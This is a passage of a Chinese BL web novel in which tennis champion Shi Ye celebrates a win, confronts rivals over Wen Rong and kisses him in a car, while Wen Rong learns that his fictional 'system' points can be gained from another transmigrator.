温绒才知道自己黄衬衫的领子都被挤得翻了起来,迅速理好,等时野领完奖杯,跟着搭档一起走到采访镜头前。 时野比完赛浑身都湿透了,速干的白色运动服上都残留着被汗液浸透的痕迹。 左手抱着半人高的奖杯,右手上绑着绷带,只有温绒能看到绷带外一圈浅浅的蓝色光芒。 那是林竞航用积分困住他手臂的东西。 而左脚的膝盖上,也多了一圈蓝色。 这次的夺冠比上次还要艰难,所以时野脸上的笑容比任何时候都要欢喜,温绒第一次看到他那么开心。 这一刻,有想要拥抱他的冲动。 不过温绒克制住了,因为这是镜头前,很多人看着。 上次去酒吧让他意识到自己很需要维护自己的公众形象,虽然作为朋友,拥抱是很正常的事情,但以防万一,最好还是不要被公众误会自己跟时野有什么不正当关系。 所以接下来除了稿子上的问话,温绒没有自由发挥其他内容,安静站在搭档旁边。 搭档自由发挥问了句:“这次夺冠后想以什么方式庆祝吗?” 温绒也好奇,偏头过去听,意外跟时野对上视线。 热气的眼神中,温绒竟然惶恐,生怕时野说什么“跟温绒干啥啥”。 “回家跟我爸吃顿饭。” 温绒松了口气,还好跟自己无关。 但回味过来,立马愣住。 跟他爸吃饭?! 搭档还没察觉时野这句话里的不对,“这么开心的日子,是要跟家人好好团聚一下。那祝你晚餐愉快。” 温绒也跟着说了句“用餐愉快”,按照流程走出镜头。 工作到这里就结束了,公司没给他做其他安排,不过出于对50万的尊敬,温绒决定去见见HR小姐姐跟老板,亲自道声谢。 走到后台的一刻,双脚突然离地。? 腰上出现熟悉的力道,温绒仰个头,感觉后脑勺都湿了。 是时野胸口的汗。 “我记得那天试的是白色,怎么换衣服了?” 温绒敲了敲时野的手臂,“放我下来。” 时野松开左手,“不好意思,我有点激动,没忍住。” “祝贺你夺冠!” “不要祝贺,我要礼物——”时野伸出手,“昨天欠的跟夺冠礼物,总共两份。” “等我发工资给你买。” “不要买的礼物。” “啊?你要手工?” “我……”时野欲言又止,别开脸,“抱一下可以吗?两份礼物兑换抱一下。” “行。” 温绒抬手正准备拥抱时野,时野忙不迭把他推开。 “我现在脏死了,等另外的时间再抱。” “……” 温绒无语,余光一扫,看见赵泽阳和教练垂头丧气的进来。 赵泽阳被时野耗了更多的体力,浑身的皮肤都黑里透红,肉眼可见地张驰,被教练搀扶着行走。 温绒跟赵泽阳对上视线的一刻,时野也发现了他。 “走。”时野脸色大变,伸手拉温绒。 赵泽阳瞬间炸了,得到一整场的暗示,俨然把温绒当成所有物,想要拦住时野,奈何体力无法支持,只得喊:“你拉他干嘛!” 时野:“关你屁事。” 赵泽阳浑身一震,不知道哪来的力气,瘸着腿大步追上拉温绒,“你为什么跟他走。” 时野一把推到赵泽阳肩膀上,“滚开。” 赵泽阳死不放手,扯得温绒往后一倒,时野迅速扶住他,怒道,“赵泽阳,你找死——” 温绒拍了拍时野的手臂示意他冷静,垂头看向自己被拽住的手,“赵泽阳,你为什么拉着我?” 赵泽阳勃然大怒:“你为什么跟他走,你是不是要跟他上床?!” “上什么床?!你——” 温绒又一次拍时野的手臂示意他安静,心平气和看向赵泽阳,“你觉得呢?” 这个反问,就好想承认了一样。 赵泽阳气疯了,那些对温绒的向往都随着温绒跟时野站在一起流失,看向温绒的眼神逐渐恶毒,“荡/妇!” “艹!” 砰地一声,时野挥拳把赵泽阳打翻在地! 他天天拿拳头砸墙都不嫌痛,这拳下去是用了全力,骨头碰撞的声音巨响,赵泽阳趴着地上起都起不来,教练都愣住了,不敢动弹。 “这荡/妇明明……” 赵泽阳挣扎着要爬起来,突然,一只崭新细长的皮鞋踩在撑地的五指上。 他愣了下,后知后觉在场只有温绒穿着皮鞋。 温绒竟然踩他的手! “我很好奇——” 赵泽阳下意识抬头。 廊道上的灯光把温绒包裹在一团灰色里,清俊秀美的五官从沉静化为冷漠。 指尖剧痛,伴随着居高临下的声音。 “你跟林竞航为什么都想睡我。” 第95章 第 95 章 粉刷冰淇淋 “林竞航是谁?谁想睡你?” 走远了, 时野才敢叫住温绒。 温绒摆手,“我自己可以解决。” “那你……” 时野欲言又止,最终闭嘴。 听话里的内容, 林竞航大概跟赵泽阳一样讨人厌,威胁不到自己的地位。 而且温绒说自己解决,那肯定可以自己解决,时野完全不怀疑温绒的行动能力。 斜阳挂在西边,地上拉出长长影子,两人穿过走廊,来到停车场。 “那你需要我的时候就说, 你说什么我都会去做的。”时野还是忍不住补充。 温绒的视线在时野脸上停留半秒,“谢谢”。 随即眼珠子贴到下眼睑,看向时野的腿, “膝盖还疼吗?” “疼?” 时野后知后觉,比赛时剧痛的膝盖竟然不疼了。 有点奇怪。 我都没说,温绒就发现我膝盖痛了, 说明他一直在关注我的比赛! 时野心花怒放,刚想豪爽表示自己不怕痛, 只是嘴巴一张开,想到这几天恶补的《10天速成绿茶》上说,心上人关心自己的时候就算不痛也要喊痛,这样才能得到更多怜惜。 于是身体往温绒肩膀的位置靠了靠, 故意皱眉,“你看出来了?” “比赛的时候疼死我了,但我一想到你做赛后采访,我就告诉自己,死也要赢, 死也不能让你去采访赵泽阳。” “赵泽阳那种狗东西凭什么跟你说话。” “为了赢,我的膝盖应该都变形了。” 温绒果然动容,“要不要我扶着你?” 林启正推荐的书有点东西。 时野强行压了压嘴角,“会不会太麻烦你了。” 温绒沉默。 时野开始心虚,眼睛眨巴眨巴望着手臂,心想这里应该也没那么重啊……为什么犹豫!? “我可能拖不动你,而且你膝盖都变形了还是不要再乱挪动,你教练的电话号码是多少,我们打电话麻烦他带医生过来。” 时野:“……” 时野:“?” “嗯?” 时野咬牙:“我还可以坚持。” “不可以这样,万一你真的瘸了,以后就能打网球了,还不能开敞篷车,说不定连阶梯教室的楼梯都爬不上去。” “我……”无法反驳的时野深吸口气,“我知道了,我自己打电话。” “嗯嗯。” 时野悲怆坐上担架,懊悔自己用力过猛。 就不该说什么膝盖都要变形,要是直接让温绒扶着就好了!- 网球公开赛结束,球迷的喜悦并没有消退,各大场所为时野的胜利庆贺,网络上也是一片热闹。 其中最火热的,大概是赛后采访的视频。 早些时候时野就跟温绒有过绯闻,即使澄清过,也挡不住网友对两人之间关系的遐想。 过往几届,赛后采访并不受关注,特别是去年时野那毫无信息量的采访,让时野球迷都没兴趣重刷。 但今天的赛后采访里,可谓是细节满满。 时野读大学后竟然成长了!会认真回答问题了!时不时还幽默一两句,说些从没对外说过的训练趣事。 球迷听得津津有味,更重要的是,反复观看的球迷发现,整个视频里,虽然温绒跟时野中间隔着一个人,温绒也没有问过暧昧问题,但时野的视线总是有意无意往温绒身上瞄,还刻意学习温绒转话筒、侧头、忍不住笑就咬唇的小动作。 [这不是喜欢是什么?眼神拉丝了都。] [谁单恋我不说,温绒压根没多给他半点眼神,明显不喜欢。] [少倒贴,时家继承人,两届网球公开赛冠军是一个贫困生可以高攀的吗?] [时野眼睛都要长温绒身上了还不是喜欢?时野粉嘴比钢板硬。] [这营销谁买的?总不会是时野自己到处买通告宣传自己喜欢贫困生吧。] [怎么不可能了?这么明显的逼宫行为,你追星你不知道?] [时野又不是明星,人家是实力硬核的职业选手。] [cp粉不敢说话,怕被毒唯截图挂热搜上。] [+1] [+2] [磕温绒跟周谢的更不敢说话,周谢可是允许温绒穿女装的人欸!] [你完了,毒唯要把你截图挂热搜上证明温绒跟时野没谈恋爱了。] 几方吵得不可开交的时候,有自称内部人员的账号放出温绒的简历,其他地方盖得严严实实,唯独露出地址。 家庭住址:时家庄园 [啊啊啊啊啊!同居实锤。毒唯快截我,我敢说我磕到真cp了。] [路人问一句,时家庄园是那个500年历史,藏品比博物馆还多的博物馆吗?] [是啊是啊。] [那算什么同居,我每天都去逛,难道时家庄园就是我的私人后花园了吗?] [你有本事把时家庄园填在家庭住址一栏上,那就是你家后花园。] [哭吧,不是你家后花园,但绝对是温绒的后花园。] [谁来把中间的人截掉,我想看温绒跟时野的合照。] [这身高差肤色差,绝了。] [家人们!快去看弗罗里曼学院的科普软件,弗罗里曼学院里有大佬放关于温绒跟时野的瓜了。] [什么瓜什么瓜?能不能在这里说!] [急急急,cp粉听我号令,转移阵地,去弗罗里曼学院的科普软件看时野公主抱温绒,温绒那腿哦,滋溜滋溜。] 随着各方面的发酵,#温绒时野#牢牢住在热搜,赛后采访的视频连续三小时实时上万人在线观看,弗罗里曼学院的科普软件更是突破新下载量。 时野只是做个检查出来,就收到广告商恭贺新婚的短信,特别是珠宝商,已经开始向他推销世界上唯二的大宝石……寓意什么一生一世一双人,生生世世不分离,老土得要死。 他就是不小心点开珠宝商的视频,屏幕因为闪闪特效都亮了十个度,跟灯泡似的。 时野衣服都没来得及穿,愣了三秒,问王西杰:“怎么回事?我又被造谣跟谁谈恋爱?” “网上说正在热议你跟温绒正在谈恋爱。” “他们乱说,我跟温绒是纯洁的友谊。” 王西杰:“嘴都笑歪了。” “……” “……” 时野抹一把脸,又薅一把扎手的板寸,“你找人处理下绯闻,我跟温绒就是关系比较好的朋友,没有谈恋爱。” 王西杰看他想笑不敢笑欲盖弥彰的样子,无语半秒,问:“怎么,跟暗恋对象传绯闻不开心吗?” “我肯定开心啊!”时野急哄哄回答,又丧气道,“但温绒不开心。” “人家清清白白一男孩,跟我传绯闻,形象不都毁了?” 手指敲敲屏幕,随便点开一个词条都跟温绒有关,网友对他的花边新闻热衷到可怕,甚至已经有人写起了段子。 莱昂说温绒以后要当改革的人,总该是进政府工作,沾上八卦新闻对他没有任何好处。 更重要的是温绒压根没想谈恋爱! 本来莱昂段位就高,自己做温绒不喜欢的事,以后还不知道要怎么被莱昂蛐蛐。 “我让人处理一下。” “嗯嗯,检查什么时候结束,我晚上行程赶,一些乱七八糟的项目就别安排了。” 时野晚上准备回去让时常远吃不下饭,再回庄园美美洗个澡,喷点香水,跟温绒狠狠拥抱。 “差不多结束了,医生说你膝盖的伤跟手一样,都没查出问题。” 顿了下,“我觉得你有必要到军区医院仔细再检查一下,家里的厨子也查一查,说不定又研发出了什么新东西,目前的医疗系统查不出来。” 在他们这些世界级别的顶尖竞争中,科技力量占据绝大部分。 赵泽阳短短几个月内力量速度提升几个层次,依照教练团的猜测,他肯定使用了目前医疗科技无法检测出来的新激素。 在这种情况下,有新东西投放至时野的食物内也不是不可能。 “没必要,有新东西莱昂能不知道吗?”时野摸手机,给温绒发消息。 [我在回来的路上,有什么想吃的,我给你带。]- 温绒给时野回复了一句“不用”,抬眼看向面前的人,“我要回去吃晚饭,你有事情要说吗?” 林竞航一改开朗话唠的样子,已经在温绒对面挂了将近半个小时的臭脸。 温绒刚跟时野分开就接到一通神秘电话,让他在网球场馆旁边的咖啡厅见。 温绒听不出对面是谁,当诈骗电话挂掉。 谁知道一回头就看到林竞航站在一辆黑色越野车后面,用这种阴森森的表情瞪着自己。 林竞航:“你不是赢了,怎么不来找我兑换承诺。” 温绒微低下头,喝一口咖啡厅里免费提供的柠檬水,“不知道为什么,我觉得你不会信守承诺。” “都是穿书者,你是不是对我敌意太深了,我一直都想跟你做朋友。” 可是你在伤害我的朋友。 温绒又喝一口柠檬水,不知道是不是泡久了,这一口酸到他蹙眉。 “酸?” 温绒:“……” “我可以帮你弄得甜一点。”林竞航打个响指,又说:“再尝尝。” 温绒警惕地放下杯子。 林竞航一愣,“干嘛不喝?我特地兑换积分给你变成甜的了。” “这要用30积分兑换神秘大礼吗?” “当然。” “……” 温绒对他挥霍积分的行为感到惊讶,30积分可以让自己活下去,而林竞航用30积分让一杯柠檬水变甜。 温绒回想自己的19点积分,每一点都是被欺负才换来的,使用也是迫不得已才用1点而已。 林竞航使用得如此随便,让温绒都怀疑他获取积分的难度过于简单。 沉默让林竞航不自在,他继续说:“不只是这些,现在天晚了我没办法给你展示,等明天我给你看,我还能控制云,让云一直给我挡着太阳。” 温绒思索片刻,在桌子下给时野发了实时地址,才回答林竞航,“我晚上要给时野庆祝,你有什么话还是直接说吧。” “你怎么跟谁都有一腿,刚才赵泽阳还打电话说什么我想睡你。” 温绒迅速把这个容易被揭穿的谎言盖过,“你不特地到停车场来找我,或许他还不会误会。” 林竞航:“……” 温绒:“……” “……” “我走了。” 温绒起身之际,林竞航终于忍不住,“我可以给你30积分,不过我有三个条件。” “你说。” “你答应?” “我要先听一听。” 天边最后一片云霞消散,咖啡厅亮起灯,清俊的五官被微弱的灯影刻画得深邃,唇角弯成礼貌梳理的弧。 林竞航定了一瞬,承认温绒确实有靠脸在末世活下去的资本。 “第一,我要你跟周谢划清界限。” 温绒皱着眉歪一下头,像是在慎重考虑。 “第二,你要公开跟我谈恋爱。”林竞航说完,表情微变,“不要以为我跟他们一样对你有意思,我只是觉得抢走别人想要的东西很爽而已,你是男的你应该懂,胜负欲。” 温绒瞥了眼手机屏幕,“第三呢。” “第三,你以后所有事都必须听我的。” 哒哒哒哒 急促的脚步声从温绒身后传来,温绒没来得及开口,被一把拎起。 时野不客气地问:“这人谁啊?” 林竞航抬眼,“我是温绒的男朋友。” “……”时野顿了下,“你谁?” “温绒的男朋——” ——砰 话音未落,时野抓起杯子砸向林竞航的脑袋。 “啊。” 林竞航叫一声,犹豫太过疼痛,捂着头一动不动将近半分钟。 好像无法忍耐剧痛的样子。 不像能在末世杀丧尸的“英雄”。 温绒看向时野。 时野顿时心虚,“他乱讲,你天天跟我在一块儿,你有男朋友我能不知道吗?” “你做得没错。”温绒先安抚时野,而后才说,“但下次别动手,这种小事没到打破别人脑袋的程度。” “我下次一定改。” 温绒确认时野情绪稳定后看向林竞航,冷静拒绝:“你的条件我拒绝,我不喜欢在我朋友面前宣示主权的男朋友,显得我不是朋友的朋友,而是男朋友的宠物。” 林竞航肩背剧烈一抖,“你拒绝我!我不帮你,你根本活不了。” “活着很好,但我早就不怕死了。” 这句话好像触动林竞航的某根神经,林竞航跳起来:“你——” 【滴——积分+1。】? 温绒确定自己没有听错。 下意识要喊“哥哥”,结果袖子被时野扯了扯。 他疑惑偏头,看见时野露出得体的笑容,而且还大方后退,“你们俩继续聊,我去旁边买点好吃的等你。” 说完,给林竞航拱手作揖,“兄弟,我这个朋友做得比你更尊重人吧。” 林竞航:“……” 这么一操作,显得他刚才自称“男朋友”的行为小家子气。 疼痛比不上胸闷,林竞航几乎窒息。 与此同时,温绒脑子里再次响起AI的声音。 【滴——积分+1。】 这个积分是真实的吗? 一个念头油然而生。 太过激动,身体控制不住地抖起来。 冷静。 冷静。 温绒用力掐自己的膝盖,“你在生气吗?” 林竞航终于把手从脑袋上挪开,沉这脸宣布,“我要弄死时野。” 温绒:“你来找我,是因为你打赌输了,心里很不舒服。” 林竞航冷呵,“我会在乎30点积分。” “但你看起来很在乎输赢。” “……” “你连朵云都想控制,现在事情超出你的掌控了,你气得不轻,提三个条件其实是为了把失去的控制权找回来。” “我没有!” “你以前是不是地位很低,所以现在疯狂地想要控制一切。” “你放屁!” “在火车上碰见的时候,你的打扮跟我一模一样,我们都用编织袋,都很穷。” “老子才不……” 林竞航脸上露出难忍剧痛的表情,无法再把话说下去。 “你想当组建F2,把书里的最高地位的F4踩在脚下,因为你以前的地位很低。” “我——” 大脑的剧痛打断林竞航的思绪,他呼唤系统也没得到回应,只能在沙发上蜷缩成一团,以此缓解。 温绒的系统持续播报:【滴——积分+1。】 漂亮脸蛋上露出了然的神色,收回手臂站起来,没有跟林竞航说再见,直接迈步离开。 他看起来冷静,其实心里高兴得快要跳起舞。 “哥哥,我明白了!” 【宿主,你一下子涨了三点积分!】 “积分可以从其他穿书者身上获得。” 两道声音一同响起。 【啊?】 “林竞航说末世很恐怖的,到处丧尸吃人,人也吃人,我之前就隐隐感觉他身上不具备任何‘领导’特征,怎么可能一个人打爆全世界的丧尸。” “原来,积分可以从别人身上获得。” 系统都被说得有些糊涂了,【你确认吗?】 这可是连系统自己都不知道的事。 “你不知道吗?” 【没有这种先例。】 “那林竞航应该属于特殊情况。我大概先这么猜,以后慢慢确认。不过这一趟收获满满……不只是积分,刚刚我给他暗示了,他穿得跟我一模一样,我可能是他要找的人,但他情绪剧烈,不一定能察觉到。我下次见面再加强一下。” 夜里咖啡厅持续来了许多情侣,温绒走到门口,听到女孩喊了一声“我家宝宝”,温绒望过去,女孩羞涩偏头,摸出手机悄悄拍摄。 温绒加快步伐走出咖啡厅,迅速捕捉到夜色里很高的一道身影。 身影走上来,递给他口罩跟帽子,“现在也算是公众人物了,戴着防止被认出来。” “两个人都穿成这样会不会像变态。” “比被当成情侣好,现在蓝书上都在说我们是一对。” 时野暗戳戳说完,又着急补充,“我已经让王西杰去处理了,不知道能不能把谣言结束。” “是吗?我都没来得及看手机。”温绒戴上口罩,“我记得你说要跟……时常远吃饭,是不是该去了?” “饭点都过了,去了只能把人气吐,气不死,还是明天早上去吧。” 温绒笑一笑,“不好意思打扰你庆贺夺冠,我可以补偿你。” 补偿! 时野眼睛几乎亮起来。 那又是一个礼物! 两个礼物兑换拥抱,那三个礼物呢,能不能更进一步。 时野的视线从温绒的眼睛挪到拱起的口罩上,心头微动。 不行不行,温绒要是生气了怎么办。 可是,温绒都说要补偿了! “怎么不说话?” 时野忐忑地斟酌好一番,犹犹豫豫开口:“可以允许我说一句实话吗?说了你不许生气。” “你感觉我会生气,说明确实是一件很大的事。” “嗯,很大。” “但我答应补偿你,就满足你的小小要求吧。” “那我可说了。” 温绒:“你说。” “……” “你这么迟疑,我都有点害怕了,能反悔吗?” “不能!” 时野生怕温绒反悔,急忙道,“那天晚上是你强吻的我。” “……”温绒眼睛瞪大。 “那晚真是你主动的,我问你你喜欢我吗,你就吻我了。” 时野本意是绿茶地暗示暗示温绒,让温绒喜欢自己一点点,然而温绒惊呼:“所以那天晚上我同时强吻了你跟学长?!” 时野:“……” 周遭空气陷入死一样的寂静,一辆车飞速从马路上窜过,留下巨大的轰鸣声。 时野陷入我该怎么把事情讲清楚的困扰中,温绒脑子里冒出电视剧里常演的“昏君”剧情,大胖子左手抱一个右手抱一个,兴致高了,左边亲一口右边亲一口,最后三人齐齐倒在床上,衣服裤子全在天上飞。!!! 太惊悚了。 温绒甚至无地自容,想要找个地方钻进去。 “本台报道,今晚联邦376号火箭成功发射。” 旁边传来的声音打破沉默。 温绒想到学长提过近期有火箭发射的事,迅速循着声音望去,看见旁边店里的电视机正播放新闻。 “火箭发射了,好厉害,哈哈哈哈。”他尴尬地岔开话题。 风一吹,时野心虚地飘到温绒旁边,跟着话题聊,“虽然说是登陆月球,其实是在做登陆火星的准备,有一项研究还没弄出来,弄出来了就可以去了。” “你怎么这么清楚?” 问出来后温绒自己都笑了,虽然时野天天打网球,但失重体验馆放着他的名字,他了解这些一切都不奇怪。 “因为莱昂在上面啊。” “啊?” “莱昂没告诉你吗?” “啊??” 时野心中一喜,蛐蛐莱昂,“还有点过分了,这么重要的事怎么不告诉你。” 温绒回头看电视,新闻播报三个宇航员的姓名跟照片。 正中间一个,金色的头发蓝眼睛,不是莱昂还能是谁。 温绒恍然大悟:“怪不得学长这么忙。” “嗯。” “不告诉我很正常呀,这都是国家机密。” “……”蛐蛐失败。 “学长好厉害。” 新闻播报火箭发射的视频让温绒想到小时候自己在书上看到的航天第一人。 虽然学长应该不是联邦首位上天的宇航员,但一想到自己竟然认识一位宇航员,心中升起无限的自豪。 这个小插曲也算是缓解了因为“强吻”引起的尴尬。 网球场周边的夜市并不热闹,街边零星几家店开着,都没什么客人。 路上走着的温绒跟时野就成了香饽饽,每路过一个大门,里面的老板都目光炯炯的盯着他们,脖子随着他们的走动扭转。 温绒本来就被盯得十分尴尬,路过一家冰淇淋店时,盯着他看的变成了个七八岁的小姑娘。 店面也就十来个平方,小姑娘坐在台阶上看书,因为余光感受到人员走动,仰头望两人。 温绒走出去几米后停下脚步。 “怎么了?” 温绒回头看冰淇淋店里的菜单,选定最便宜的一个,“等我一下,我想吃甜筒。” 他走到店门口,付钱买了两个甜筒。 香草味甜筒不需要加任何装饰,十来秒钟,温绒就接到两个形状完美的甜筒。 他把其中一个分给了小女孩。 时野笑,“我还以为那是给我的。” 温绒才想起来还有时野,不太好意思地把冰淇淋递给他,“你吃吗?” “不用,我不喜欢吃甜的。”时野摸出手机,“司机大哥等不及要下班了,我们回去吧。” “嗯。” 司机开车到路边,温绒回头望一眼坐在台阶上看书的小女孩,幸福的感觉油然而生。 不知道很多年前,那些在河边钓鱼的大叔是不是也这样看自己,所以才送给自己好多零食。 时野发觉温绒的留恋,好奇问:“还想吃冰淇淋?” “没。” 看起来像,不然路过那么多家店为什么单独买冰淇淋。 时野默默记下好不容易发现的喜好。 呲溜—— 寂静的车内,响起明显的吮吸声。 时野心跳停滞一瞬,回过神,发现温绒贴着自己肩膀坐,双手举着甜筒,吐出小小的舌头舔食冰淇淋。 汽车启动,路灯一跳一跳地落在时野脸上。 砰砰砰 时野胸口剧烈起伏,心脏几乎跳出来。 想接吻。 如果能再亲一下就好了。 没有训练来帮忙分析,想接吻的本能欲望一被勾引就全数涌出来。 温绒吃冰淇淋的样子那么像接吻,张大嘴巴,舌头尖尖的,灵活的,全是冰淇淋,一定很好吃。 他吞咽唾液,“她家冰淇淋味道怎么样?” “味道不错。” “我可以尝一尝吗?” 温绒娴熟地转一圈冰淇淋,把没被舔过的地方凑到他面前。 “这边没吃过,你尝。” 他同意! 时野脑子里轰一声响,低头,模仿温绒的动作伸舌舔一口冰淇淋的螺旋纹路。 好甜。 好香。 “味道怎么样?” “我还想吃。” 时野急躁难耐,如狼似虎吮上冰淇淋早就被舔圆的顶。 握着甜筒的手都被抵着下落。 温绒被震慑到,手一抖,冰淇淋戳在时野脸上,留下一道明显的痕迹。 “对不起。” 他着急缩手,时野忽地抓住他。 有力的手指如钢铁一般裹紧腕骨,皮肤触碰的地方烫得出了汗。 温绒意识到事情正往不可控制的方向发展,可是目光所及,时野只是抓着他的手转了小半圈,过长的舌尖刷子似的,从脆皮筒边沿向上一路刷到顶,就连自己刚才吃过的地方,也被刷成了时野想要的形状。 只是吃冰淇淋而已。 只是吃冰淇淋而已。 温绒想要捏自己的膝盖,可是现在他一动不能动,被迫借着微弱的灯光看着冰淇淋被一遍一遍粉刷。 嘶嘶嘶 蛇吐信子一样的声音在车里不断回荡。 过多的相似元素,让温绒过好的记忆力再次抽取出学长曾经发给他的视频。 那些让他忍不住闭眼的时刻,曾有这样一幕。 只是并非金色头发,时野跟视频里的人完全不一样,时野长得更凶一些,让温绒本能地畏惧,不敢反抗。 “你也想吃?” 温绒空荡荡的大脑来不及回应,时野锋利的五官隐入黑暗——并不是消失,而是距离骤然缩短,后脑勺挡住了所有的光。 只剩下听觉。 呼吸和湿润的吮吸占据耳朵。 味觉,香草的味道意外在唇上散开,带着薄荷一样的冰凉感觉。 时野的鼻尖触到他的鼻尖,那么近,两人一起吃着冰淇淋。 在时野持续的舔食、抬下巴、沉迷中,温绒意识到,这不是在吃冰淇淋,更像是——接吻。 他吓一跳,慌张后退,肩膀却被肌肉紧绷的手臂捆住。 沿途一路并不平坦,车速极快,风呼呼钻进车窗,路过减速带,噔噔噔,人在椅子上弹动。 弹动的余韵引诱着温绒,心脏晃荡。 冰凉浓稠的香草味占据口腔每一个角落,无法及时吞咽的部分混着唾液从唇角流下,沿着敏感的下巴肉,钻进黄色的衬衫里头。 温绒开始无法拒绝这种让身体颤抖的感觉。 他仅剩的理智说:你想放纵。 光影流转,湿润的舔食声占据耳朵。 温绒的呼吸又长又重,额头触碰到热烘烘的眉心,一度被顶着仰脖。 在这一瞬间,不同于冰淇淋的凉,陌生又温热东西扫过上颚,悄悄凑近他。 温绒一愣,终于意识到事情完全发展到可怕的地步了,恐惧和理智迫使他挣扎。 搅动声跟拒绝的闷哼都被含在嘴里,通过骨头传播,汹涌又清晰地重重砸着耳膜。 啪—— 脆皮筒轻轻掉在地毯上,融化的冰淇淋液体聚成一团,被皮鞋鞋底一次又一次撵平。 时间溜走,直到一道明光晃过眼睛,温绒余光瞧见驾驶座上司机的轮廓,瞬间醒神,偏头躲开,羞赧道,“司机还在!” 哐—— 一扇帘子隔绝驾驶座和后座,压人的重量沉下来,温绒后脑勺抵上滚烫的手心,胸口被坚硬的肌肉撞着,磨着,直窜头顶的快感把身体占据。 那点理智再次消散之前,温绒用力一咬,紧闭唇瓣,湿热的东西像果冻似的变着形滑出。 一抹奶油似的丝线连着他跟时野,格外淫/糜。 这一次绝对无法用“醉酒”来开脱。 温绒抬手抹去唇角的粘稠,不知道该说什么,也无法说出口。 嗓子烧得发干,就连空气都在肚子里挤压。 “补偿我收到了。” 声音几乎贴着温绒的耳朵。 生怕时野再继续,吓得肩膀内扣,浑身都紧绷到极点。 坚挺的鼻尖在温绒脸颊上暧昧戳一下。 “我爱你。” “虽然你早就知道了。” “允许我继续爱你就好,不用对我负责。” 过于舍弃自我的表白让温绒心中升起无限的困惑。 “为什么爱我。” “因为我长得好看吗?” “噗嗤。” 时野低头埋在温绒肩膀上笑,“你会骗我的钱吗?” 温绒奇怪道,“我要你的钱干嘛?” “你会害我吗?” “我当然不会。” “那喜欢你不是既安全又幸福的事情吗?”- 十来米水晶吊灯自天花板垂下,周谢爬着楼梯,稀碎的光影在骨骼明显的脸上划过。 公开赛结束后他回了趟家,本意是想给父亲汇报网球场上的情况,却在中途被父亲叫停。 “这些工作上的东西我可以听秘书汇报,我主要是想知道,你今天遇到了什么事这么开心?” 周谢一愣,连忙说“没有”。 周总统笑道,“我不会连自己儿子都不了解。” “……” 周谢沉默了片刻,“科普软件的下载量再次突破。” “真的吗?” “嗯。” 为了防止父亲再问,周谢继续汇报,汇报结束,在周总统即将开口前又忙问:“晚上想吃什么,我做。” “都行,清淡点。” 周谢换下西装,穿上围裙给父亲煮了三菜一汤,可惜还是堵不住父亲的嘴。 “我听秘书说,今天比赛的时候你麻烦他找了第一排的四个座位?” ——温绒那事。 周谢的下唇用力扯了扯,“嗯,需要跟校友进行短暂的合作。” “是那个叫温绒的男孩?” “嗯……” “不错,这次赛后采访的视频在网上很火,都在传他跟时野是一对。” 周谢一愣,“你怎么知道。” “时常远打电话给我,让我找关系让那个学生退学。” “他是不是管得太多了?” “没办法,尽管他很努力推举时竞,时家90%的人出于个人利益,还是只认可时野这个继承人。温绒在群众中的口碑实在太好,如果温绒真的跟时野交往,对时野来说是一件好事。” “温绒没有跟时野交往。” 周总统沉默一瞬,“你放心,我不会帮时常远做事,他最近跟王斯辰走得很近,我想,在时野真正继承时家之前,我们跟时家的合作要破裂了。” “那下一届——” 周总统淡笑着打断他,“我总是要退下来的。” “也不着急于现在退。” “再不退,许多人就要发起革命了。” “能不能等我工作个两三年。” “你跟我对那些人来说都一样。”周总统盛了碗汤,细品,“虽然已经来不及了,但我还是想劝你别进政府工作,毕业以后可以像时野一样玩玩网球,赛车这些项目,我记得你以前很喜欢。” “那都是小时候了。” “那也可以培养一点老人的兴趣爱好,围棋,煮茶,钓鱼……” 周谢终于被父亲逗笑,“等我退休。” “那我可看不到了。” 周谢知道言下之意是那时父亲已经去世的意思,眉头紧?粗,“你好好养生一定可以活到100岁,我记得前几天你还去参加张议员的99岁大寿。” 周总统笑,“还是算了,我可不能为了自己活命做伤害你的事情。” “什么?” 周总统笑而不语,一顿饭在温馨寂静的氛围中结束。 周总统继续外出工作,周谢开车回到时家庄园。 这几乎是下意识的行为。 或许他不想一个人呆在家里。 但脚步往上走,靠近温绒住的房间,周谢想,或许是因为他想给温绒说,今天的合作很愉快,以后可以继续合作。 一直跟他对着干的人,终于有了一次合作机会,或许这是变成盟友契机。 周谢第一次想要利用抽烟来平复喜悦的感觉。 砰砰砰 周谢敲响温绒的房间门。 砰砰砰 没人回应,他继续敲。 在第三次准备敲的时候,周谢嘴边吐出一抹嘲讽的笑。 没开门就表示没回来。 时野也没回来。 今天这么重要的时刻,时野趁机拉着温绒出去庆祝是什么很难猜的事情吗? 如果开车来的一路上稍微想一想,或者以前问一问,就能知道。 周谢察觉到自己隐隐的失控,走到窗边,从口袋里摸出支烟,点燃。 每个地方的夜色都一样,学校里,这里,放眼望去全是黑暗,点点灯光明亮如星。 路上奔驰的车灯变成了流星,划过黑夜时留下一道残影。 这颗流星落在楼下。 咔擦—— 后车门打开,温绒走出来,身后跟着时野。 周谢的手不禁抖了抖,烟灰落在地上。 意料之中的事,他却有些不平静。 年代过久的房子,即使维修频繁也盖不住木头连接处的挤压声,砰砰砰,两道脚步声紧凑。 “你喜欢吃冰淇淋,我让厨师明天做点其他味道的。” “不要了,我明天要回学校。” “这么快?” “我的假期结束了。” “留下再玩一玩吧?那天你们去闲酌我都没能去。你不会开车吧?我带你去试试卡丁车。男人没有不爱车的,你试一试,绝对喜欢。” “谢谢你,不过我真的要回去了,我这段时间都没上课,还要补许秋老师给我安排的作业。” “好吧。” 到这里的对话很正常,时野像一个贪玩的小孩,一直缠着温绒留下再玩会儿。 “那……睡觉之前我可以抱你一下吗?你白天答应我了。” 周谢手一抖,烟从指尖滑落。 没穿西装裤,普通的裤子被高温烫了一下。 嘶—— 他吃痛吸一口凉气。 “明明两个礼物兑换1次拥抱,你刚才亲我了,算20个礼物,现在算下来你倒欠我18个礼物。” 噗嗤 周谢无声的笑意跟楼梯处的笑声一起涌出。 不知道对方是不是也敏锐感受到温绒的恼羞成怒。 “那我还你18个礼物,再给你20个礼物,是不是就可以再亲一次。” “这又不是礼物可以换的!” “知道了知道了,我送你回房间。” “不用,我自己可以回。” “行,那我回房间,我也走这条路。” 哒哒 地上响起两道重重的脚步声,足以证明温绒出奇的失控。 时野心里抹了蜜似的甜,有种跟温绒调情的错觉。 然而终于走完楼梯,眼睛一瞥,看见站在温绒房门前的周谢。 笑容凝滞。 周谢低下头,回以一个阴森的笑容。 既然莱昂跟时野都选择温绒,那作为同盟的他,出于各方面考虑,都该努力一把,让四人的关系达到一种平衡。 第96章 第 96 章 杀死敌人1 “你在这里干什么。” 桩桩前车之鉴让时野隐隐意识到什么, 迅速拦在温绒身前。 